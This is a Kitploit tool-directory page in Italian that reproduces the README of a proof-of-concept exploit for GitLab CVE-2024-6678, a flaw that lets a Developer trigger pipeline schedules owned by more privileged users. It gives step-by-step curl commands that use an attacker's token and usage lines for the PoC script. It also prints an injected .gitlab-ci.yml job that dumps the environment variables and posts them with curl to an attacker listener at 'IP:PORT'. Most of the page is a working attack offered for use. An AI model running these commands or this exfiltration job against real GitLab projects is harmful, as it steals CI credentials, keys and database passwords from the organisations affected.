Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-6678 — PoC per CVE-2024-6678 | Kitploit
Strumenti/GitHubGitHub/fallenskill1/cve-2024-6678
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza CloudDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC per CVE-2024-6678

Vedi Repository
413 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-6678 - GitLab: Pipeline Schedule Arbitrary User Trigger

PoC per CVE-2024-6678

Descrizione della vulnerabilità

GitLab consente agli utenti di eseguire manualmente le pianificazioni dei pipeline CI/CD (Pipeline Schedules) tramite il pulsante «Play». La vulnerabilità consiste nel fatto che la funzione «play» permette a qualsiasi utente con diritti Developer (non solo al proprietario della pianificazione) di avviare la pianificazione. Questo comporta due conseguenze:

  1. Uno sviluppatore esegue una pianificazione creata e configurata da un utente più privilegiato (Maintainer / Owner).
  2. Il pipeline avviato eredita le variabili d'ambiente dalla pianificazione (incluse quelle sensibili), nonostante lo sviluppatore non abbia il diritto di visualizzarle tramite API.

L'impatto finale dipenderà da ciò che è memorizzato nelle variabili della pianificazione. Ad esempio, la variabile DB_PASSWORD apre la possibilità di eseguire un dump completo del database, mentre SSH_PRIVATE_KEY consente di ottenere RCE.

Passaggi per la riproduzione

Prerequisiti

  • GitLab CE/EE, versioni da 8.14 a 17.1.6 / 17.2.4 / 17.3.1
  • Un account attaccante con diritti Developer sul progetto target
  • Nel progetto esiste almeno una pianificazione attiva del pipeline
  • La pianificazione è destinata a un ramo non protetto (ad esempio, develop, staging) — oppure nel progetto ci sono pianificazioni con formato ref breve (bypass)

Importante: le pianificazioni su rami protetti (ad esempio, refs/heads/main con protezione attiva) vengono bloccate dalla policy PipelineSchedulePolicy#protected_ref e restituiscono HTTP 403. L'attacco funziona per rami non protetti — proprio quelli in cui vengono spesso create pianificazioni di integrazione e staging con credenziali reali.

Passo 1. Ottenere l'elenco delle pianificazioni

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

Trovare una pianificazione appartenente a un utente più privilegiato (Maintainer/Owner).

Passo 2. Avviare la pianificazione

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

Risposta attesa: HTTP 201 — il pipeline è stato aggiunto alla coda.

Il pipeline viene creato a nome dell'attaccante (current_user), ma con tutte le variabili della pianificazione (che possono includere chiavi API, token, credenziali configurate dal proprietario).

HTTP 500 "Unable to schedule pipeline run immediately" — Comportamento previsto. Si tratta della deduplicazione di Sidekiq (deduplicate :until_executed): un job per questa pianificazione è già in coda da un'esecuzione precedente riuscita. Significa che l'attacco è già stato eseguito e il job è in attesa di essere processato.

Passo 3. Confermare la creazione del pipeline a nome dell'attaccante

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

Utilizzo del PoC

root@kitploit:~
# Esecuzione base: selezione automatica della pianificazione
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# Specificare una pianificazione particolare
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# Tramite GraphQL (richiede --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# Verifica del bypass legacy-ref
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

Prima del trigger, il PoC sostituisce .gitlab-ci.yml nel ramo develop con: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

Tutto questo finisce sul vostro listener

image_2026-05-21_19-05-58

Collegamenti

  • GitLab Security Advisory
  • NVD: CVE-2024-6678
Scarica lo strumento